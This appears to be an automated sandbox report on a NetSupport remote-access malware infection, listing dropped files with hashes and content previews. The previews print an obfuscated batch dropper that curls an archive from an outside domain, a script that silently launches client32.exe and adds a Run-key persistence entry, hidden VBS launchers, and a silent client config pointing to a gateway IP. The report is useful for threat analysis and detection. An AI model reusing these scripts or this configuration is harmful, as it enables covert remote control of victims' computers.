C:\ProgramData\PScripts\rot-13.pscript

Process:	C:\ProgramData\7zz.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	3.358913269584849
Encrypted:	false
SSDEEP:	24:Qe9J9qno9H6/oqspi7lk+ejGeIYelmpoO67SrZetYelJoO672ZeoYel0oO67SrZj:LD9wC6/VsGlk+sH6JH63H6JH6d
MD5:	AC1CD856F434464D3F68465061171D0A
SHA1:	57AE543F84214CF00576DB15BD24D2E1F3BD4768
SHA-256:	2E4BD5557AEDD1743DA5FAB1B6995FBC447D6E9491D9EC59FA93AB889D8BCCD1
SHA-512:	6348F2C1DD131231F041B5E59BB83EB7E337C93799A955DF66FB077DC3B91659263CF8780BC7A6A007008155CC2C83B0AB1AC145ABCA2A8FA7D3500AF46D1A49
Malicious:	false
Preview:	..{.....R.O.T. .1.3.....}.....v.a.r..... . .S.t.r.L.e.n.,. .i.,. .c.h.a.r.N.u.m. .:. .W.o.r.d.;..... . .I.n.p.u.t.,. .o.u.t.p.u.t.:. .s.t.r.i.n.g.;.....b.e.g.i.n..... . .I.n.p.u.t. .:.=. .R.e.a.d.D.o.c.;..... . .O.u.t.p.u.t. .:.=. .'.'.;..... . .S.t.r.L.e.n. .:.=. .L.e.n.g.t.h.(.I.n.p.u.t.).;......... . .f.o.r. .i.:.=. .1. .t.o. .S.t.r.L.e.n. .d.o..... . .b.e.g.i.n..... . . . .i.f. .(.I.n.p.u.t.[.i.]. .>.=. .'.A.'.). .a.n.d. .(.I.n.p.u.t.[.i.]. .<.=. .'.M.'.). .t.h.e.n..... . . . . . .I.n.p.u.t.[.i.]. .:.=. .c.h.r.(.o.r.d.(.I.n.p.u.t.[.i.].). .+. .1.3.)..... . . . .e.l.s.e..... . . . .i.f. .(.I.n.p.u.t.[.i.]. .>.=. .'.N.'.). .a.n.d. .(.I.n.p.u.t.[.i.]. .<.=. .'.Z.'.). .t.h.e.n..... . . . . . .I.n.p.u.t.[.i.]. .:.=. .c.h.r.(.o.r.d.(.I.n.p.u.t.[.i.].). .-. .1.3.)..... . . . .e.l.s.e..... . . . .i.f. .(.I.n.p.u.t.[.i.]. .>.=. .'.a.'.). .a.n.d. .(.I.n.p.u.t.[.i.]. .<.=. .'.m.'.). .t.h.e.n..... . . . . . .I.n.p.u.t.[.i.]. .:.=. .c.h.r.(.o.r.d.(.I.n.p.u.t.[.i.].). .+. .1.3.)..... . . . .e.l.

C:\ProgramData\Settings.txt

Process:	C:\ProgramData\7zz.exe
File Type:	Generic INItialization configuration [en]
Category:	dropped
Size (bytes):	729
Entropy (8bit):	5.161224970148946
Encrypted:	false
SSDEEP:	12:Sx425viDEWeQrCISTiS/RQDIYm1S8Cye07xWXgeVWBmmeAFm7Vp67WpAny:SN5viDdrtSOSu0YYTNkWQaaVw7WGy
MD5:	BCCC9E937D8D72A12743D75A6B396A34
SHA1:	7AC820493A357F17230CDCEEF37C69BF2510AB5C
SHA-256:	8CB0F6D438DB151ED507299A64031B5C957141CFC632ACE95B9135168E0FD121
SHA-512:	F9A42E7CCF3DF6D99846E8B05FE21C4D5CAFDFC24F97C0EEFBAE1E27B674E637FEAAE86A52E680A12A074AE695CD2E80FC8E5588AD46063B3ADBB4A6CB9D5CE2
Malicious:	false
Preview:	[Downloader]..UseUserAgent=1..UserAgentString=Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1) Opera 7.50 [en]..UseProxy=0..AutoRedirect=0..AutoReferrer=1..AutoParseLinks=1..UseCookies=1..SaveAsProject=1..AutoComplete=0..URLHistory=1..UseReferrer=1..ExtendedInfo=1..[Decoder]..UseHighlight=1..ReplaceEval=0..ReplaceEvalWith=evla..OverrideEval=0..AutoReplaceEval=0..[Proxy]..Address=..Port=..User=..Pass=..Hidden=1..[Monitor]..Multi=0..[Misc]..ClearClipboard=0..AutoParseLinks=1..ReplaceEval=0..ReplaceEvalWith=evla..AutoReplaceEval=0..ClearCache=1..ClearHistory=0..Language=default.lng..Highlight=1..OverrideEval=1..FontName=Tahoma..FontSize=8..[Display]..Highlight=1..FontName=MS Shell Dlg 2..FontSize=8..AutoFocusDecoder=0..

C:\ProgramData\TCCTL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\client32.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	101680
Entropy (8bit):	4.481468672521447
Encrypted:	false
SSDEEP:	384:qUjV5+6j6Qa86Fkv2Wr120hZIq6nYPL7NheMxnB1:qgVZl6FhWr80/h6EN/
MD5:	F70B67C2B3204B7DDD8B755799CCCFF0
SHA1:	A42E55E328D62D11E687C167BB7049D46F0F9B26
SHA-256:	213AF995D4142854B81AF3CF73DEE7FFE9D8AD6E84FDA6386029101DBF3DF897
SHA-512:	54FCBA8A063BFBAAE4C3A39624BF3407DB6AF5699AB8686F936AB03C5864DF7A44D089066FA2D4AEDF5AD50D6B04624966A5111BF57BEC1DDA74A571F1DD7C63
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@.......................................@.................................< ..<....0...i...........t..0........... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\client32.ini

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	714
Entropy (8bit):	5.272982980469994
Encrypted:	false
SSDEEP:	12:EbxS2h3q+jhGSGpBlsVTXuZ7+DP98XTKIDWss1CYublufN3Bu6a39GJ/:EbI2hFhapBlLoGXuIDvsPuGYT34t
MD5:	A61475B49FEA7E08719A7E8AD1C5D278
SHA1:	60591111A837C93ACF7E32096F43EA704831DA35
SHA-256:	DC020C98ED1D39721AD1F127DC0C04A0735BD47C6B6ECD222683210A601D90DB
SHA-512:	1CDAF447E9E591D44A1DE10453008391EE80EEF3FEC0EC8A6D354C15A9412AD87F7F33ABDF8F7C0F061F6FA70F759CDEB1352B620609B0A6F3E4AF82636D19FC
Malicious:	false
Preview:	0xb47c726d....[Client].._present=1..AlwaysOnTop=1..DisableChat=1..DisableChatMenu=0..DisableClientConnect=0..DisableCloseApps=1..DisableDisconnect=0..DisableManageServices=1..DisableMessage=1..DisableReplayMenu=0..DisableRequestHelp=0..HideWhenIdle=1..Protocols=3..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Users\Administrator\Desktop\1\client32.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[Bridge]..Modem=....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=94.158.247.23:5050..GSK=FH;G@ADJ9J>ICLHA=K@MED..Port=5050..SecondaryGateway=..SecondaryPort=..

C:\ProgramData\desktop.ini

Process:	C:\ProgramData\7zz.exe
File Type:	Windows desktop.ini
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.862313970853504
Encrypted:	false
SSDEEP:	3:0NdQDjo/KKQiWDy3c5kSRE2J5oH+fqLEcTvzTXyn:0NwoCKQiWDy3IZi23oH+4TvzTXyn
MD5:	B21BF903986AC0CE3B7BB2371C8502D2
SHA1:	FC8C4D1630A2198A95F9739BF16F53E83BF81174
SHA-256:	BB2DF21D474ED3E383FE56691DD5FE9E441F2B163A82A2D4D1042783F249B70F
SHA-512:	3B0BA816CEA96FB8648A6A3CD9421EBC03065C02B4047D29834B417EF25A10DE1B5B8DDFEE5BB85761D185DDB1B36F37193CAAE0B7894B5E3850F061459DF197
Malicious:	false
Preview:	[.ShellClassInfo]..IconResource=C:\Users\daddy\AppData\Local\Microsoft\OneDrive\OneDrive.exe,1..

C:\ProgramData\hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat

Process:	C:\Windows\System32\wscript.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	5.243181486469752
Encrypted:	false
SSDEEP:	24:VzNEa7DDmcKEK88leevTwKev5NaczevNDB4HK:Vz/7DPKEK8852Xt6NQK
MD5:	CC74CF81F442E922B077F6CF0F87FA41
SHA1:	D8BE8FCB85507D5B05A3025BB0CEFBD0B614DE96
SHA-256:	6A58399A333E0B20E9FE1944EE997585A7A1927776308048DA1E3FB7734EF581
SHA-512:	1F00A8B92F83B3E84D4798AB2805432CD3A1061CB294DFA4C869D9BAA0DF233A9BD68788DFC68BBAB9995305E7634937AA35AD3F75DC40095CF1BD0A53BF655C
Malicious:	false
Preview:	@echo off..:: R11ffsRsfsRb.:: 3Z6fKfsRKfsRb..set "fdaa=set ".%fdaa%"fdgxvxcvxc=C:\Prog".%fdaa%"hghgdgdfsz=ramD".%fdaa%"hyturdfgf=ata\"..:: R11KfsffsRssRsRsRRb.:: ssRsRfsRsRRb..%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%..set "fgdgh=set ".%fgdgh%"vbnvbv=Wscr".%fgdgh%"jhgcvbc=ipt.Sh".%fgdgh%"jhvbcs=ell"..:: RsfsRR11Rb.%vbnvbv%%jhgcvbc%%jhvbcs%..set "ghjgr=set ".%ghjgr%"cvbcvbsds=WSc".%ghjgr%"gfgxxc=rit.Ar".%ghjgr%"hgvbcvbc=guments"..:: R11fsRssRRRb..%cvbcvbsds%%gfgxxc%%hgvbcvbc%..:: 1sRs1sRs1sRs1sRs..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tmp%/b1.vbs".(echo if not exist "%tmp%/lolo.7z" ^( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%lolo.7z" ^) & echo "%tmp%/sett.bat") > "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%sett.bat"..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tm

C:\ProgramData\lolo.7z

Process:	C:\Windows\System32\curl.exe
File Type:	7-zip archive data, version 0.4
Category:	modified
Size (bytes):	2306944
Entropy (8bit):	7.999915641276459
Encrypted:	true
SSDEEP:	49152:rDHf7GK0RIZLYUIFWsFYL7084J3Sr7Y1t/iAJkxNkvTMTTi0oIFJePBM5Pl:rDHfcyZ8/FW8Y9m9i5IvEP
MD5:	8970FCCD38432D3A6EEFED2F274709DF
SHA1:	5EEFA6D5AF3ADC5A84A5E7BA66DE87779221CC02
SHA-256:	CEA3F6928121BF4382E7144B9A900CDCBECB7B7F95A14531EC0C04286A08489E
SHA-512:	B647573EC25890736D94978AFB6E45C6762BA97963D91911CCD3ABF83660DA464496A4AD5AF9AFA6CAADAC76C6BE8D76B83E3DBC1987076F2560E3D7AF452B95
Malicious:	false
Preview:	7z..'...b...;3#.....%........}.4....N]...........&...@...ZtA.4..x=i...h.5.UBh.K....KB}"GA..........x.....6.c.8..V.>..3.3.~...b..X......W.b...w....ubQ...h[....`..3)....>......U..K..Y.0}(.g..7..brw..y..../3z.t...,.g.@...aJ......0K........'Q......s.2!.@..7.g..~....a..........V.N3....../Mr$.yL.N...CKu8."N.i......#w..Oc...!..6.c..0......%.?.0..:...d....F..n..!....zz..v.9W..UB.n0........w..P...JD......L&..^G.o..(D..`y..e.N.B/..l...&..L..,.$..3.l.<G....C.a5...S.70g}...s........;.....#.#BlO.....h.5....u...y......NUU...B..S.m.......Q..E.D...6.. K.r.E....A.8..J;...5..q..(......V#...'......)....,.M.I..s...#j..s.%.Z$....n<.......a...53u.,....^o....7j...;.2....1.N)p..>........L....qK\..$....@U.....I.F@.E+.....~......aI^...w....V.t..o...2U,".d.4.......}..<.L.U.....z..a..7u.U1..ua`.....T.7....a.$.....N;..t.Fa7...?..s9.....ICU...;.w..F.w.[A@x.....U.k.$..!D.......C$h.I.._.h*...q...T...mN\|....?/.......us.>..M..+..h......yBF.-...S...?b.f)......L..8......{f

C:\ProgramData\msvcr100.dll

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\nskbfltr.inf

Process:	C:\ProgramData\7zz.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\ProgramData\nsm_vpro.ini

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\ProgramData\pcicapi.dll

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.7376663312239256
Encrypted:	false
SSDEEP:	768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5:	34DFB87E4200D852D1FB45DC48F93CFC
SHA1:	35B4E73FB7C8D4C3FEFB90B7E7DC19F3E653C641
SHA-256:	2D6C6200508C0797E6542B195C999F3485C4EF76551AA3C65016587788BA1703
SHA-512:	F5BB4E700322CBAA5069244812A9B6CE6899CE15B4FD6384A3E8BE421E409E4526B2F67FE210394CD47C4685861FAF760EFF9AF77209100B82B2E0655581C9B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\putty.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1647912
Entropy (8bit):	6.92723334837222
Encrypted:	false
SSDEEP:	49152:TDXOPFJK9bbYF8paMB8QMy3bHwPXNg/7UyW+ekBeZmn:T0WhreNg/X
MD5:	F838FDAFD0881CF1E6040A07D78E840D
SHA1:	2A35456B2F67BD12905378BEB6EAF373F6A0D0D1
SHA-256:	FC6F9DBDF4B9F8DD1F5F3A74CB6E55119D3FE2C9DB52436E10BA07842E6C3D7C
SHA-512:	5C0389EB79E5C2638C0D770CDE1A5C56A237AA596503966D4F226A99F94531AF501F8BF4EFA00722E12998F73271E50D8C187F8E984125AFFE40B1AB231503B4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....\c.........."......Z...p.................@.............................`......D.....`.............................................................X.......xl......(W...@..................................(......@...........(................................text...fY.......Z.................. ..`.rdata.......p.......^..............@..@.data....U...p.......^..............@....pdata..xl.......n...n..............@..@.00cfg..8....@......................@..@.gxfg...`*...P...,..................@..@.tls................................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc.......@... ..................@..B........................................................................................................................................................................................................................

C:\ProgramData\qweq.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	532
Entropy (8bit):	5.259398326283338
Encrypted:	false
SSDEEP:	12:kh5ObfauP28nlxWZ3lMVj0ESLXRtf4LXnidEWSDcEA:B62AlMVJuXRtf8XnIED2
MD5:	975B043ED876F1C265AACB60BBEA6B11
SHA1:	3B8F7AE6B0282BE88D08B171BF9267FDF4CBF28E
SHA-256:	F344211B6F67F0AE3D6256648526C6E986EC8E4F31367FA17AB963DE788BD6D8
SHA-512:	E9D2E306B9A562E94B8793C87B7C4506274D67561D715871DFF1E88038C7413F32307602F5DDC97363A62875B16BBBD307D01DA897C88C6EB33F004A6FAE4877
Malicious:	false
Preview:	@echo off....:: ssRsgs3sgsbgsggsgs3gsgs3s3Z6..:: ssRbZgs6gsgs326fssRb....start /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\ && TIMEOUT /T 7 && start /b /min cmd /c C:\ProgramData\client32.exe....set CachedX=HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run..reg query "%CachedX%" >nul 2>&1.. if %errorlevel% equ 0 (.. reg add "%CachedX%" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f .. ).. ::fhgggsgs3sgs3sgssgs3sgssgs

C:\ProgramData\remcmdstub.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	6.446503462786185
Encrypted:	false
SSDEEP:	1536:Tf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQhiK:D6f7cjJ4U4I1jFqy92hiK
MD5:	6FCA49B85AA38EE016E39E14B9F9D6D9
SHA1:	B0D689C70E91D5600CCC2A4E533FF89BF4CA388B
SHA-256:	FEDD609A16C717DB9BEA3072BED41E79B564C4BC97F959208BFA52FB3C9FA814
SHA-512:	F9C90029FF3DEA84DF853DB63DACE97D1C835A8CF7B6A6227A5B6DB4ABE25E9912DFED6967A88A128D11AB584663E099BF80C50DD879242432312961C0CFE622
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......o....@....................................<.......T...............x)..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\sett.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	247
Entropy (8bit):	5.301224584501311
Encrypted:	false
SSDEEP:	6:CxBR2RcN23f9QSkCfFlCe8UlLAHbKx48HKmnOB1RcN23fQRnn:cnXgONCfFADC0vTmnOOgcnn
MD5:	0CE70C2F5ED83A4574355600C641B7F2
SHA1:	02AA9B3018282C8635A974CC5C8AF550B9AEB292
SHA-256:	E358392E33049B9CA8D3631E4C711E696AF2185DFE15C3F395109B8ED2AD03C3
SHA-512:	99C4063BAA93603CAA05ECF66E352737C6B7BBD3ECCA295A31B33EC69F3B015328EBDF890F969DCFE8C783DFE8E9C32BE0D655BEAC58FC444D7110B8A0212365
Malicious:	false
Preview:	if not exist "C:\Users\user\AppData\Local\Temp/lolo.7z" ( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z" ) .."C:\Users\user\AppData\Local\Temp/sett.bat"..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AA1WTLEO\11[1].bat

Process:	C:\Windows\System32\wscript.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	5.243181486469752
Encrypted:	false
SSDEEP:	24:VzNEa7DDmcKEK88leevTwKev5NaczevNDB4HK:Vz/7DPKEK8852Xt6NQK
MD5:	CC74CF81F442E922B077F6CF0F87FA41
SHA1:	D8BE8FCB85507D5B05A3025BB0CEFBD0B614DE96
SHA-256:	6A58399A333E0B20E9FE1944EE997585A7A1927776308048DA1E3FB7734EF581
SHA-512:	1F00A8B92F83B3E84D4798AB2805432CD3A1061CB294DFA4C869D9BAA0DF233A9BD68788DFC68BBAB9995305E7634937AA35AD3F75DC40095CF1BD0A53BF655C
Malicious:	false
Preview:	@echo off..:: R11ffsRsfsRb.:: 3Z6fKfsRKfsRb..set "fdaa=set ".%fdaa%"fdgxvxcvxc=C:\Prog".%fdaa%"hghgdgdfsz=ramD".%fdaa%"hyturdfgf=ata\"..:: R11KfsffsRssRsRsRRb.:: ssRsRfsRsRRb..%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%..set "fgdgh=set ".%fgdgh%"vbnvbv=Wscr".%fgdgh%"jhgcvbc=ipt.Sh".%fgdgh%"jhvbcs=ell"..:: RsfsRR11Rb.%vbnvbv%%jhgcvbc%%jhvbcs%..set "ghjgr=set ".%ghjgr%"cvbcvbsds=WSc".%ghjgr%"gfgxxc=rit.Ar".%ghjgr%"hgvbcvbc=guments"..:: R11fsRssRRRb..%cvbcvbsds%%gfgxxc%%hgvbcvbc%..:: 1sRs1sRs1sRs1sRs..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tmp%/b1.vbs".(echo if not exist "%tmp%/lolo.7z" ^( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%lolo.7z" ^) & echo "%tmp%/sett.bat") > "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%sett.bat"..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tm

C:\Users\user\AppData\Local\Temp\b1.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	true
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

C:\Users\user\AppData\Local\Temp\b2.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	true
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

C:\Users\user\AppData\Local\Temp\b3.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	true
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

\Device\ConDrv

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	817
Entropy (8bit):	5.0668216874897265
Encrypted:	false
SSDEEP:	12:p5gXLDM+zWZiTknz4oG4qixLKjoKLkVKWPpx6osPChYT1kmLB806GLYIQKI9DlHM:p5gXZWZiTOzr2jtgJ6lPHHNIbHM
MD5:	52CE7FD84FE8DA2C5774CB7681DA4A75
SHA1:	E339AF48FD51F99CA41BEE55445AC756CA1FF3BE
SHA-256:	A61C29FF09042B0C2021B3F66BD905109AF04C27EBEDB6AF568A79ECF96784BB
